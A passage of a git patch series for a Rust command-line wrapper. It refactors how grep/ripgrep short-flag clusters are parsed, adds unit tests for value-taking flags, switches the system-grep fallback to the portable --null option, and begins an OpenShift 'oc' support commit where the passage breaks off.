1; + } } + consumed_value = true; + break; } - } else { - // No value-taking flag at end: strip r/R, forward remainder - if let Some(cleaned) = strip_r(rest) { - flags.push(format!("-{}", cleaned)); + bool_acc.push(ch as char); + j += 1; + } + if !consumed_value { + if !bool_acc.is_empty() { + flags.push(format!("-{}", bool_acc)); } i += 1; } @@ -130,8 +184,8 @@ fn extract_pattern_path>(args: &[T]) -> (Vec, Vec, } } - // If -e was used: all positionals are paths; -e values are the patterns. - // If -e was not used: first positional is the pattern, rest are paths. + // If -e/--regexp was used: all positionals are paths. + // Otherwise: first positional is the pattern, rest are paths. let (patterns, paths) = if !e_patterns.is_empty() { (e_patterns, positionals) } else { @@ -382,6 +436,7 @@ fn has_format_flag>(extra_args: &[T]) -> bool { matches!( arg.as_ref(), "-c" | "--count" + | "--count-matches" | "-l" | "--files-with-matches" | "-L" @@ -390,6 +445,9 @@ fn has_format_flag>(extra_args: &[T]) -> bool { | "--only-matching" | "-Z" | "--null" + | "--json" + | "--passthru" + | "--files" ) }) } @@ -501,18 +559,7 @@ mod tests { assert_eq!(rg_pattern, "fn foo|pub.*bar"); } - // --- process_flag --- - - #[test] - fn test_strip_r() { - assert_eq!(strip_r(""), None); - assert_eq!(strip_r("r"), None); - assert_eq!(strip_r("rr"), None); - assert_eq!(strip_r("R"), None); - assert_eq!(strip_r("rn"), Some("n".to_string())); - assert_eq!(strip_r("Rni"), Some("ni".to_string())); - assert_eq!(strip_r("i"), Some("i".to_string())); - } + // --- strip_recursive --- #[test] fn test_strip_recursive() { @@ -642,6 +689,172 @@ mod tests { assert_eq!(flags, vec!["-e"]); } + // --- inline short flag values (Bug 5) --- + + #[test] + fn test_extract_inline_e_value() { + // -ecarrot: e hits at j=0, inline="carrot", no r-stripping on value + let (patterns, paths, flags) = extract_pattern_path(&["-ecarrot", "file"]); + assert_eq!(patterns, vec!["carrot"]); + assert_eq!(paths, vec!["file"]); + assert!(flags.is_empty()); + } + + #[test] + fn test_extract_inline_e_value_no_rstrip() { + // -ecarrot: the 'r' in "carrot" must NOT be stripped (it's value, not a flag) + let (patterns, _, _) = extract_pattern_path(&["-ecarrot", "file"]); + assert_eq!(patterns, vec!["carrot"], "r in inline value must not be stripped"); + } + + #[test] + fn test_extract_inline_g_value() { + // -g*.rs: g hits at j=0, inline="*.rs", no r-stripping on value + let (patterns, paths, flags) = extract_pattern_path(&["aaa", "sub", "-g*.rs"]); + assert_eq!(patterns, vec!["aaa"]); + assert_eq!(paths, vec!["sub"]); + assert_eq!(flags, vec!["-g", "*.rs"]); + } + + #[test] + fn test_extract_inline_g_value_no_rstrip() { + // -g*.rs: the 'r' in "*.rs" must NOT be stripped + let (_, _, flags) = extract_pattern_path(&["aaa", "sub", "-g*.rs"]); + assert!(flags.contains(&"*.rs".to_string()), "r in glob value must not be stripped"); + } + + // --- long value-taking flags (Bug 5) --- + + #[test] + fn test_extract_long_glob_value() { + let (patterns, paths, flags) = + extract_pattern_path(&["compact", "sub", "--glob", "*.md"]); + assert_eq!(patterns, vec!["compact"]); + assert_eq!(paths, vec!["sub"]); + assert_eq!(flags, vec!["--glob", "*.md"]); + } + + #[test] + fn test_extract_long_max_count() { + let (patterns, paths, flags) = + extract_pattern_path(&["--max-count", "1", "fn", "file"]); + assert_eq!(patterns, vec!["fn"]); + assert_eq!(paths, vec!["file"]); + assert_eq!(flags, vec!["--max-count", "1"]); + } + + #[test] + fn test_extract_short_type() { + // -t rust: type filter, value must not become pattern + let (patterns, paths, flags) = extract_pattern_path(&["-t", "rust", "fn", "src"]); + assert_eq!(patterns, vec!["fn"]); + assert_eq!(paths, vec!["src"]); + assert_eq!(flags, vec!["-t", "rust"]); + } + + #[test] + fn test_extract_short_max_depth() { + // -d 3: max-depth, value must not become pattern + let (patterns, paths, flags) = extract_pattern_path(&["-d", "3", "foo", "src"]); + assert_eq!(patterns, vec!["foo"]); + assert_eq!(paths, vec!["src"]); + assert_eq!(flags, vec!["-d", "3"]); + } + + #[test] + fn test_extract_short_max_columns() { + // -M 120: max-columns, value must not become pattern + let (patterns, paths, flags) = extract_pattern_path(&["-M", "120", "foo", "src"]); + assert_eq!(patterns, vec!["foo"]); + assert_eq!(paths, vec!["src"]); + assert_eq!(flags, vec!["-M", "120"]); + } + + #[test] + fn test_extract_long_regexp() { + // --regexp is the long form of -e; value goes to patterns + let (patterns, paths, flags) = extract_pattern_path(&["--regexp", "fn run", "src"]); + assert_eq!(patterns, vec!["fn run"]); + assert_eq!(paths, vec!["src"]); + assert!(flags.is_empty()); + } + + #[test] + fn test_extract_long_regexp_multi() { + // --regexp can be combined with -e + let (patterns, paths, _) = + extract_pattern_path(&["--regexp", "foo", "-e", "bar", "src"]); + assert_eq!(patterns, vec!["foo", "bar"]); + assert_eq!(paths, vec!["src"]); + } + + #[test] + fn test_extract_long_ignore_file() { + let (patterns, paths, flags) = + extract_pattern_path(&["--ignore-file", ".myignore", "foo", "src"]); + assert_eq!(patterns, vec!["foo"]); + assert_eq!(paths, vec!["src"]); + assert_eq!(flags, vec!["--ignore-file", ".myignore"]); + } + + #[test] + fn test_extract_long_engine() { + let (patterns, paths, flags) = + extract_pattern_path(&["--engine", "pcre2", "foo", "src"]); + assert_eq!(patterns, vec!["foo"]); + assert_eq!(paths, vec!["src"]); + assert_eq!(flags, vec!["--engine", "pcre2"]); + } + + #[test] + fn test_extract_long_type_clear() { + let (patterns, paths, flags) = + extract_pattern_path(&["--type-clear", "rust", "foo", "src"]); + assert_eq!(patterns, vec!["foo"]); + assert_eq!(paths, vec!["src"]); + assert_eq!(flags, vec!["--type-clear", "rust"]); + } + + #[test] + fn test_extract_long_path_separator() { + let (patterns, paths, flags) = + extract_pattern_path(&["--path-separator", "/", "foo", "src"]); + assert_eq!(patterns, vec!["foo"]); + assert_eq!(paths, vec!["src"]); + assert_eq!(flags, vec!["--path-separator", "/"]); + } + + #[test] + fn test_extract_long_flag_inline_eq_passthrough() { + // --glob=*.rs is one token (inline =): passes through as-is, not consumed as pair + let (patterns, paths, flags) = extract_pattern_path(&["foo", "src", "--glob=*.rs"]); + assert_eq!(patterns, vec!["foo"]); + assert_eq!(paths, vec!["src"]); + assert_eq!(flags, vec!["--glob=*.rs"]); + } + + // --- has_format_flag additions --- + + #[test] + fn test_format_flag_detects_count_matches() { + assert!(has_format_flag(&["--count-matches"])); + } + + #[test] + fn test_format_flag_detects_json() { + assert!(has_format_flag(&["--json"])); + } + + #[test] + fn test_format_flag_detects_passthru() { + assert!(has_format_flag(&["--passthru"])); + } + + #[test] + fn test_format_flag_detects_files() { + assert!(has_format_flag(&["--files"])); + } + // --- truncation accuracy --- #[test] From 8d29f75833c9afe5eebdb5d6d1ce1743503421e7 Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Sun, 14 Jun 2026 12:18:29 +0200 Subject: [PATCH 215/257] fix(grep): restore strip_r as explicit testable helper + pre-existing clippy fix The left-to-right cluster scan now calls strip_r() at emit time on the accumulated flag-letter prefix (raw_prefix), never on inline value bytes. This makes the safety contract explicit and testable: strip_r("carrot") produces "caot", documenting exactly why it must not touch value bytes. Also fix pre-existing unused-mut in aws_cmd.rs (has_output_flag). Co-Authored-By: Claude Sonnet 4.6 --- src/cmds/system/grep_cmd.rs | 85 +++++++++++++++++++++++++++---------- 1 file changed, 63 insertions(+), 22 deletions(-) diff --git a/src/cmds/system/grep_cmd.rs b/src/cmds/system/grep_cmd.rs index e329472508..25907023c5 100644 --- a/src/cmds/system/grep_cmd.rs +++ b/src/cmds/system/grep_cmd.rs @@ -51,6 +51,24 @@ const VALUE_FLAGS_LONG: &[&str] = &[ "--colors", ]; +/// Strip `r`/`R` from the boolean-flag portion of a short cluster. +/// Returns `None` when nothing remains (the cluster was purely recursive flags). +/// +/// IMPORTANT: must only be called on the accumulated flag-letter prefix, never +/// on inline values — `strip_r("carrot")` would corrupt the value to `"caot"`, +/// which is exactly the original bug this function replaces. +fn strip_r(flag_letters: &str) -> Option { + let s: String = flag_letters + .chars() + .filter(|&c| c != 'r' && c != 'R') + .collect(); + if s.is_empty() { + None + } else { + Some(s) + } +} + /// Drop `--recursive` (grep-ism); pass all other long flags through unchanged. fn strip_recursive(arg: &str) -> Option { match arg { @@ -123,23 +141,23 @@ fn extract_pattern_path>(args: &[T]) -> (Vec, Vec, match arg.strip_prefix('-') { Some(rest) if !rest.is_empty() => { - // Left-to-right scan: r/R stripped, first value-taking char terminates. + // Left-to-right scan: accumulate flag letters (including r/R) into + // raw_prefix; strip_r is called at emit time so it is never applied + // to inline value bytes (which follow the first value-taking char). let bytes = rest.as_bytes(); - let mut bool_acc = String::new(); + let mut raw_prefix = String::new(); let mut consumed_value = false; let mut j = 0; while j < bytes.len() { let ch = bytes[j]; - if ch == b'r' || ch == b'R' { - j += 1; - continue; - } let is_e = ch == b'e'; if is_e || VALUE_FLAGS_SHORT.contains(&ch) { - if !bool_acc.is_empty() { - flags.push(format!("-{}", bool_acc)); + // Emit the boolean prefix with r/R stripped. + if let Some(prefix) = strip_r(&raw_prefix) { + flags.push(format!("-{}", prefix)); } // Inline value = bytes after this char in the cluster. + // strip_r is NOT called here — these are value bytes, not flags. let inline = std::str::from_utf8(&bytes[j + 1..]).unwrap_or(""); if is_e { if !inline.is_empty() { @@ -167,12 +185,13 @@ fn extract_pattern_path>(args: &[T]) -> (Vec, Vec, consumed_value = true; break; } - bool_acc.push(ch as char); + raw_prefix.push(ch as char); j += 1; } if !consumed_value { - if !bool_acc.is_empty() { - flags.push(format!("-{}", bool_acc)); + // Pure boolean cluster: strip r/R, emit remainder. + if let Some(stripped) = strip_r(&raw_prefix) { + flags.push(format!("-{}", stripped)); } i += 1; } @@ -559,7 +578,26 @@ mod tests { assert_eq!(rg_pattern, "fn foo|pub.*bar"); } - // --- strip_recursive --- + // --- strip_r / strip_recursive --- + + #[test] + fn test_strip_r() { + // Pure r/R → None (whole cluster dropped) + assert_eq!(strip_r("r"), None); + assert_eq!(strip_r("R"), None); + assert_eq!(strip_r("rr"), None); + assert_eq!(strip_r("rR"), None); + assert_eq!(strip_r(""), None); + // Mixed → r/R removed, rest kept + assert_eq!(strip_r("rn"), Some("n".to_string())); + assert_eq!(strip_r("Rni"), Some("ni".to_string())); + assert_eq!(strip_r("rni"), Some("ni".to_string())); + assert_eq!(strip_r("i"), Some("i".to_string())); + // Reveals the danger: strip_r must NEVER be called on value bytes. + // Calling it on "carrot" strips both 'r's and produces "caot" — this + // is exactly the original bug (-ecarrot matching "caot" instead of "carrot"). + assert_eq!(strip_r("carrot"), Some("caot".to_string())); + } #[test] fn test_strip_recursive() { @@ -704,7 +742,11 @@ mod tests { fn test_extract_inline_e_value_no_rstrip() { // -ecarrot: the 'r' in "carrot" must NOT be stripped (it's value, not a flag) let (patterns, _, _) = extract_pattern_path(&["-ecarrot", "file"]); - assert_eq!(patterns, vec!["carrot"], "r in inline value must not be stripped"); + assert_eq!( + patterns, + vec!["carrot"], + "r in inline value must not be stripped" + ); } #[test] @@ -720,15 +762,17 @@ mod tests { fn test_extract_inline_g_value_no_rstrip() { // -g*.rs: the 'r' in "*.rs" must NOT be stripped let (_, _, flags) = extract_pattern_path(&["aaa", "sub", "-g*.rs"]); - assert!(flags.contains(&"*.rs".to_string()), "r in glob value must not be stripped"); + assert!( + flags.contains(&"*.rs".to_string()), + "r in glob value must not be stripped" + ); } // --- long value-taking flags (Bug 5) --- #[test] fn test_extract_long_glob_value() { - let (patterns, paths, flags) = - extract_pattern_path(&["compact", "sub", "--glob", "*.md"]); + let (patterns, paths, flags) = extract_pattern_path(&["compact", "sub", "--glob", "*.md"]); assert_eq!(patterns, vec!["compact"]); assert_eq!(paths, vec!["sub"]); assert_eq!(flags, vec!["--glob", "*.md"]); @@ -736,8 +780,7 @@ mod tests { #[test] fn test_extract_long_max_count() { - let (patterns, paths, flags) = - extract_pattern_path(&["--max-count", "1", "fn", "file"]); + let (patterns, paths, flags) = extract_pattern_path(&["--max-count", "1", "fn", "file"]); assert_eq!(patterns, vec!["fn"]); assert_eq!(paths, vec!["file"]); assert_eq!(flags, vec!["--max-count", "1"]); @@ -782,8 +825,7 @@ mod tests { #[test] fn test_extract_long_regexp_multi() { // --regexp can be combined with -e - let (patterns, paths, _) = - extract_pattern_path(&["--regexp", "foo", "-e", "bar", "src"]); + let (patterns, paths, _) = extract_pattern_path(&["--regexp", "foo", "-e", "bar", "src"]); assert_eq!(patterns, vec!["foo", "bar"]); assert_eq!(paths, vec!["src"]); } @@ -799,8 +841,7 @@ mod tests { #[test] fn test_extract_long_engine() { - let (patterns, paths, flags) = - extract_pattern_path(&["--engine", "pcre2", "foo", "src"]); + let (patterns, paths, flags) = extract_pattern_path(&["--engine", "pcre2", "foo", "src"]); assert_eq!(patterns, vec!["foo"]); assert_eq!(paths, vec!["src"]); assert_eq!(flags, vec!["--engine", "pcre2"]); From 34aac6ed95b36d40d82bcbbc12fe3732070e7759 Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Sun, 14 Jun 2026 15:24:20 +0200 Subject: [PATCH 216/257] refactor(grep): extract parse_cluster to make cluster parsing directly testable MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The left-to-right scanning logic now lives entirely in parse_cluster(), which returns a ClusterResult enum (Boolean or ValueTaking). extract_pattern_path just dispatches on the result — no loop logic inline. parse_cluster() is the only place that touches cluster bytes, so the full contract is testable in isolation: parse_cluster("ecarrot") → ValueTaking { prefix: None, flag: 'e', inline: "carrot" } parse_cluster("rne") → ValueTaking { prefix: Some("n"), flag: 'e', inline: "" } parse_cluster("g*.rs") → ValueTaking { prefix: None, flag: 'g', inline: "*.rs" } parse_cluster("rn") → Boolean(Some("n")) strip_r() remains as the focused r/R-stripping helper used internally by parse_cluster (and tested directly to document the "carrot"→"caot" danger). Co-Authored-By: Claude Sonnet 4.6 --- src/cmds/system/grep_cmd.rs | 249 +++++++++++++++++++++++++++--------- 1 file changed, 185 insertions(+), 64 deletions(-) diff --git a/src/cmds/system/grep_cmd.rs b/src/cmds/system/grep_cmd.rs index 25907023c5..e7639e1f36 100644 --- a/src/cmds/system/grep_cmd.rs +++ b/src/cmds/system/grep_cmd.rs @@ -51,12 +51,63 @@ const VALUE_FLAGS_LONG: &[&str] = &[ "--colors", ]; -/// Strip `r`/`R` from the boolean-flag portion of a short cluster. -/// Returns `None` when nothing remains (the cluster was purely recursive flags). +/// Result of parsing the content of a short flag cluster (the part after `-`). +#[derive(Debug, PartialEq)] +enum ClusterResult { + /// All chars were boolean flags or `r`/`R` (stripped). + /// `None` when the entire cluster reduces to nothing after stripping. + Boolean(Option), + /// A value-taking flag was encountered. Scanning stops here. + ValueTaking { + /// Boolean flags before the value-taking char, `r`/`R` stripped. + prefix: Option, + /// The value-taking flag char (`e`, `A`, `g`, etc.). + flag: char, + /// Bytes after `flag` in the cluster — its inline value. + /// Empty string means "consume the next token instead." + inline: String, + }, +} + +/// Parse the content of a short flag cluster (everything after the leading `-`). /// -/// IMPORTANT: must only be called on the accumulated flag-letter prefix, never -/// on inline values — `strip_r("carrot")` would corrupt the value to `"caot"`, -/// which is exactly the original bug this function replaces. +/// Scans left-to-right: strips `r`/`R`, accumulates boolean flag letters, and +/// stops at the first value-taking flag (from `VALUE_FLAGS_SHORT` or `e`). +/// Everything after that flag char in the cluster is its inline value and is +/// returned verbatim — no `r`/`R` stripping is applied to it. +/// +/// This is the only place in the codebase that touches cluster bytes. +fn parse_cluster(rest: &str) -> ClusterResult { + let bytes = rest.as_bytes(); + let mut raw_prefix = String::new(); + let mut j = 0; + while j < bytes.len() { + let ch = bytes[j]; + let is_e = ch == b'e'; + if is_e || VALUE_FLAGS_SHORT.contains(&ch) { + let prefix = strip_r(&raw_prefix); + // Inline value = bytes after this char; returned verbatim (no stripping). + let inline = std::str::from_utf8(&bytes[j + 1..]) + .unwrap_or("") + .to_string(); + return ClusterResult::ValueTaking { + prefix, + flag: ch as char, + inline, + }; + } + raw_prefix.push(ch as char); + j += 1; + } + ClusterResult::Boolean(strip_r(&raw_prefix)) +} + +/// Strip `r`/`R` from a string of flag letters. +/// Returns `None` when nothing remains after stripping. +/// +/// Only called on accumulated flag letters (never on inline values). +/// `strip_r("carrot")` → `Some("caot")` — this shows exactly why it must not +/// touch value bytes; that corruption was the original `-ecarrot` bug. fn strip_r(flag_letters: &str) -> Option { let s: String = flag_letters .chars() @@ -140,62 +191,46 @@ fn extract_pattern_path>(args: &[T]) -> (Vec, Vec, } match arg.strip_prefix('-') { - Some(rest) if !rest.is_empty() => { - // Left-to-right scan: accumulate flag letters (including r/R) into - // raw_prefix; strip_r is called at emit time so it is never applied - // to inline value bytes (which follow the first value-taking char). - let bytes = rest.as_bytes(); - let mut raw_prefix = String::new(); - let mut consumed_value = false; - let mut j = 0; - while j < bytes.len() { - let ch = bytes[j]; - let is_e = ch == b'e'; - if is_e || VALUE_FLAGS_SHORT.contains(&ch) { - // Emit the boolean prefix with r/R stripped. - if let Some(prefix) = strip_r(&raw_prefix) { - flags.push(format!("-{}", prefix)); + Some(rest) if !rest.is_empty() => match parse_cluster(rest) { + ClusterResult::Boolean(prefix) => { + if let Some(s) = prefix { + flags.push(format!("-{}", s)); + } + i += 1; + } + ClusterResult::ValueTaking { + prefix, + flag, + inline, + } => { + if let Some(s) = prefix { + flags.push(format!("-{}", s)); + } + if flag == 'e' { + if !inline.is_empty() { + e_patterns.push(inline); + i += 1; + } else if i + 1 < args.len() { + e_patterns.push(args[i + 1].as_ref().to_string()); + i += 2; + } else { + flags.push("-e".to_string()); + i += 1; } - // Inline value = bytes after this char in the cluster. - // strip_r is NOT called here — these are value bytes, not flags. - let inline = std::str::from_utf8(&bytes[j + 1..]).unwrap_or(""); - if is_e { - if !inline.is_empty() { - e_patterns.push(inline.to_string()); - i += 1; - } else if i + 1 < args.len() { - e_patterns.push(args[i + 1].as_ref().to_string()); - i += 2; - } else { - flags.push("-e".to_string()); - i += 1; - } + } else { + flags.push(format!("-{}", flag)); + if !inline.is_empty() { + flags.push(inline); + i += 1; + } else if i + 1 < args.len() { + flags.push(args[i + 1].as_ref().to_string()); + i += 2; } else { - flags.push(format!("-{}", ch as char)); - if !inline.is_empty() { - flags.push(inline.to_string()); - i += 1; - } else if i + 1 < args.len() { - flags.push(args[i + 1].as_ref().to_string()); - i += 2; - } else { - i += 1; - } + i += 1; } - consumed_value = true; - break; } - raw_prefix.push(ch as char); - j += 1; } - if !consumed_value { - // Pure boolean cluster: strip r/R, emit remainder. - if let Some(stripped) = strip_r(&raw_prefix) { - flags.push(format!("-{}", stripped)); - } - i += 1; - } - } + }, _ => { positionals.push(arg.to_string()); i += 1; @@ -578,27 +613,113 @@ mod tests { assert_eq!(rg_pattern, "fn foo|pub.*bar"); } - // --- strip_r / strip_recursive --- + // --- parse_cluster --- + + fn vt(prefix: Option<&str>, flag: char, inline: &str) -> ClusterResult { + ClusterResult::ValueTaking { + prefix: prefix.map(|s| s.to_string()), + flag, + inline: inline.to_string(), + } + } + + #[test] + fn test_parse_cluster_boolean_only() { + // Pure boolean clusters: r/R stripped, remainder emitted + assert_eq!(parse_cluster("r"), ClusterResult::Boolean(None)); + assert_eq!(parse_cluster("R"), ClusterResult::Boolean(None)); + assert_eq!(parse_cluster("rR"), ClusterResult::Boolean(None)); + assert_eq!(parse_cluster("rn"), ClusterResult::Boolean(Some("n".to_string()))); + assert_eq!(parse_cluster("Rni"), ClusterResult::Boolean(Some("ni".to_string()))); + assert_eq!(parse_cluster("n"), ClusterResult::Boolean(Some("n".to_string()))); + assert_eq!(parse_cluster("ni"), ClusterResult::Boolean(Some("ni".to_string()))); + } + + #[test] + fn test_parse_cluster_e_no_inline() { + // -e: value-taking, empty inline → caller consumes next token + assert_eq!(parse_cluster("e"), vt(None, 'e', "")); + } + + #[test] + fn test_parse_cluster_e_inline_value() { + // -ecarrot: inline="carrot" — no r/R stripping on the value bytes + assert_eq!(parse_cluster("ecarrot"), vt(None, 'e', "carrot")); + } + + #[test] + fn test_parse_cluster_e_inline_value_no_rstrip() { + // The 'r' chars in "carrot" must survive verbatim in the inline field. + // If strip_r were called on inline bytes, this would return "caot". + let ClusterResult::ValueTaking { inline, .. } = parse_cluster("ecarrot") else { + panic!("expected ValueTaking"); + }; + assert_eq!(inline, "carrot"); + } + + #[test] + fn test_parse_cluster_g_inline_glob() { + // -g*.rs: inline="*.rs" — 'r' in "*.rs" must not be stripped + assert_eq!(parse_cluster("g*.rs"), vt(None, 'g', "*.rs")); + let ClusterResult::ValueTaking { inline, .. } = parse_cluster("g*.rs") else { + panic!("expected ValueTaking"); + }; + assert_eq!(inline, "*.rs"); + } + + #[test] + fn test_parse_cluster_rne() { + // -rne: r stripped, n in boolean prefix, e is value-taking (empty inline) + assert_eq!(parse_cluster("rne"), vt(Some("n"), 'e', "")); + } + + #[test] + fn test_parse_cluster_r_a() { + // -rA: r stripped, A is value-taking (empty inline → consume next token) + assert_eq!(parse_cluster("rA"), vt(None, 'A', "")); + } + + #[test] + fn test_parse_cluster_ni_a() { + // -niA: n and i boolean, A value-taking + assert_eq!(parse_cluster("niA"), vt(Some("ni"), 'A', "")); + } + + #[test] + fn test_parse_cluster_ai_inline() { + // -Ai: A value-taking, inline="i" (the 'i' is A's value, not a separate flag) + assert_eq!(parse_cluster("Ai"), vt(None, 'A', "i")); + } + + #[test] + fn test_parse_cluster_short_type() { + assert_eq!(parse_cluster("t"), vt(None, 't', "")); + assert_eq!(parse_cluster("tpy"), vt(None, 't', "py")); // inline type name + } + + #[test] + fn test_parse_cluster_short_max_columns() { + assert_eq!(parse_cluster("M"), vt(None, 'M', "")); + assert_eq!(parse_cluster("M120"), vt(None, 'M', "120")); + } + + // --- strip_r --- #[test] fn test_strip_r() { - // Pure r/R → None (whole cluster dropped) assert_eq!(strip_r("r"), None); assert_eq!(strip_r("R"), None); - assert_eq!(strip_r("rr"), None); assert_eq!(strip_r("rR"), None); assert_eq!(strip_r(""), None); - // Mixed → r/R removed, rest kept assert_eq!(strip_r("rn"), Some("n".to_string())); assert_eq!(strip_r("Rni"), Some("ni".to_string())); - assert_eq!(strip_r("rni"), Some("ni".to_string())); assert_eq!(strip_r("i"), Some("i".to_string())); - // Reveals the danger: strip_r must NEVER be called on value bytes. - // Calling it on "carrot" strips both 'r's and produces "caot" — this - // is exactly the original bug (-ecarrot matching "caot" instead of "carrot"). + // Shows why it must only be called on flag letters, not value bytes: assert_eq!(strip_r("carrot"), Some("caot".to_string())); } + // --- strip_recursive --- + #[test] fn test_strip_recursive() { assert_eq!(strip_recursive("--recursive"), None); From 307b5573838d24cc59191c12422ef1f216b9a087 Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Sun, 14 Jun 2026 15:31:20 +0200 Subject: [PATCH 217/257] feat(grep): sort content alphabetically --- src/cmds/system/grep_cmd.rs | 62 ++++++++++++++++++++++--------------- 1 file changed, 37 insertions(+), 25 deletions(-) diff --git a/src/cmds/system/grep_cmd.rs b/src/cmds/system/grep_cmd.rs index e7639e1f36..a7d7150564 100644 --- a/src/cmds/system/grep_cmd.rs +++ b/src/cmds/system/grep_cmd.rs @@ -13,42 +13,42 @@ use std::collections::HashMap; /// Includes all rg short flags that take a value argument except `-e` and `-r` /// (stripped) and `-E` (dialect, left to #2138). Failure mode for a missing /// entry: the value becomes a positional (visible wrong result, not silent). -const VALUE_FLAGS_SHORT: &[u8] = b"ABCgfjmtTdM"; +const VALUE_FLAGS_SHORT: &[u8] = b"ABCMTdfgjmt"; /// Long flags that consume the NEXT token as their value (space-separated form). /// Inline `=` form (`--flag=value`) is one token and passes through unchanged. /// `--regexp` is handled separately (its value goes to `patterns`). /// `--encoding` value is consumed correctly here; dialect routing is #2138's job. const VALUE_FLAGS_LONG: &[&str] = &[ + "--after-context", + "--before-context", + "--color", + "--colors", + "--context", + "--context-separator", + "--encoding", + "--engine", + "--field-context-separator", + "--field-match-separator", "--file", "--glob", "--iglob", - "--type", - "--type-not", - "--type-add", - "--type-clear", + "--ignore-file", + "--max-columns", "--max-count", "--max-depth", "--max-filesize", - "--max-columns", - "--after-context", - "--before-context", - "--context", - "--encoding", - "--engine", + "--path-separator", + "--pre", + "--pre-glob", + "--replace", "--sort", "--sortr", "--threads", - "--replace", - "--pre", - "--pre-glob", - "--path-separator", - "--ignore-file", - "--field-match-separator", - "--field-context-separator", - "--context-separator", - "--color", - "--colors", + "--type", + "--type-add", + "--type-clear", + "--type-not", ]; /// Result of parsing the content of a short flag cluster (the part after `-`). @@ -629,10 +629,22 @@ mod tests { assert_eq!(parse_cluster("r"), ClusterResult::Boolean(None)); assert_eq!(parse_cluster("R"), ClusterResult::Boolean(None)); assert_eq!(parse_cluster("rR"), ClusterResult::Boolean(None)); - assert_eq!(parse_cluster("rn"), ClusterResult::Boolean(Some("n".to_string()))); - assert_eq!(parse_cluster("Rni"), ClusterResult::Boolean(Some("ni".to_string()))); - assert_eq!(parse_cluster("n"), ClusterResult::Boolean(Some("n".to_string()))); - assert_eq!(parse_cluster("ni"), ClusterResult::Boolean(Some("ni".to_string()))); + assert_eq!( + parse_cluster("rn"), + ClusterResult::Boolean(Some("n".to_string())) + ); + assert_eq!( + parse_cluster("Rni"), + ClusterResult::Boolean(Some("ni".to_string())) + ); + assert_eq!( + parse_cluster("n"), + ClusterResult::Boolean(Some("n".to_string())) + ); + assert_eq!( + parse_cluster("ni"), + ClusterResult::Boolean(Some("ni".to_string())) + ); } #[test] From abe7d4210e0fe5c0b9322ec5210c6a6aadaa3db5 Mon Sep 17 00:00:00 2001 From: vegetablechicken233 <25945262+vegetablechicken233@users.noreply.github.com> Date: Mon, 15 Jun 2026 17:30:50 +0800 Subject: [PATCH 218/257] fix(grep): use portable --null in system grep fallback (BSD/macOS) The system-grep fallback (used when ripgrep is not installed) passed -rnHZ, relying on -Z for the NUL filename separator the match parser requires. -Z only means --null on GNU grep; on BSD/macOS grep it is an alias for --decompress (zgrep mode), so output is plain file:line:content with no NUL. parse_match_line() then matches zero filenames and every result collapses into "N matches in 0 files" with all lines hidden behind [+N more]. Use the long option --null instead, which both GNU and BSD grep define as "print a zero-byte after the file name". Related to #2310 Co-Authored-By: Claude Fable 5 --- src/cmds/system/grep_cmd.rs | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/src/cmds/system/grep_cmd.rs b/src/cmds/system/grep_cmd.rs index a7d7150564..072ebc28d7 100644 --- a/src/cmds/system/grep_cmd.rs +++ b/src/cmds/system/grep_cmd.rs @@ -349,7 +349,9 @@ pub fn run( for p in &patterns { grep_cmd.args(["-e", p]); } - grep_cmd.args(["-rnHZ", "--"]); + // --null (not -Z): on BSD/macOS grep -Z means --decompress, not the + // NUL filename separator parse_match_line() needs (issue #2310). + grep_cmd.args(["-rnH", "--null", "--"]); grep_cmd.args(&paths); exec_capture(&mut grep_cmd) }) @@ -465,8 +467,9 @@ pub fn run( /// Parses a single rg/grep match line of the form `file\0line_number:content`. /// -/// Requires the underlying command to be invoked with `-0` (rg) or `-Z` (grep) -/// so the filename is NUL-separated from `line:content`. NUL cannot appear in +/// Requires the underlying command to be invoked with `-0` (rg) or `--null` +/// (grep) so the filename is NUL-separated from `line:content`. NUL cannot +/// appear in /// file paths, so the parser is unambiguous regardless of: /// - content with `:` or `::` (e.g. `ClassRegistry::init(...)`, issue #1436); /// - paths with embedded `:` (Windows drive letters, weird filenames like From c7f493b0cd0fbe9ed1d2da8ea66f86f2ca26cd01 Mon Sep 17 00:00:00 2001 From: Lawton Mizell Date: Wed, 3 Jun 2026 10:53:52 -0400 Subject: [PATCH 219/257] feat(oc): add Openshift CLI support with shared k8s filtering --- README.md | 3 + src/cmds/cloud/README.md | 2 +- src/cmds/cloud/container.rs | 103 ++++++--- src/discover/rules.rs | 9 + src/main.rs | 125 ++++++++-- tests/fixtures/oc_pods.json | 450 ++++++++++++++++++++++++++++++++++++ 6 files changed, 634 insertions(+), 58 deletions(-) create mode 100644 tests/fixtures/oc_pods.json diff --git a/README.md b/README.md index 4e224cbe57..16988beead 100644 --- a/README.md +++ b/README.md @@ -230,6 +230,9 @@ rtk docker compose ps # Compose services rtk kubectl pods # Compact pod list rtk kubectl logs # Deduplicated logs rtk kubectl services # Compact service list +rtk oc get pods # OpenShift pod summary +rtk oc get services # OpenShift service list +rtk oc logs # Deduplicated logs ``` ### Data & Analytics diff --git a/src/cmds/cloud/README.md b/src/cmds/cloud/README.md index a86acec6ad..6498f7c58e 100644 --- a/src/cmds/cloud/README.md +++ b/src/cmds/cloud/README.md @@ -5,7 +5,7 @@ ## Specifics - `aws_cmd.rs` — 25 specialized filters covering STS, S3, EC2, ECS, RDS, CloudFormation, CloudWatch Logs, Lambda, IAM, DynamoDB, EKS, SQS, Secrets Manager. Forces `--output json` for structured parsing, uses `force_tee_hint()` for truncation recovery, strips Lambda secrets. Shared runner `run_aws_filtered()` handles boilerplate for JSON-based filters; text-based filters (S3 ls, S3 sync/cp) have dedicated runners -- `container.rs` handles both Docker and Kubernetes; `DockerCommands` and `KubectlCommands` sub-enums in `main.rs` route to `container::run()` -- uses passthrough for unknown subcommands +- `container.rs` handles Docker, Kubernetes, and OpenShift; `DockerCommands`, `KubectlCommands`, and `OcCommands` sub-enums in `main.rs` route to `container::run()` -- uses passthrough for unknown subcommands - `curl_cmd.rs` truncates long responses, saves full output to file for recovery - `wget_cmd.rs` wraps wget with output filtering - `psql_cmd.rs` filters PostgreSQL query output diff --git a/src/cmds/cloud/container.rs b/src/cmds/cloud/container.rs index 2738cf29e0..7b26683108 100644 --- a/src/cmds/cloud/container.rs +++ b/src/cmds/cloud/container.rs @@ -27,24 +27,24 @@ pub 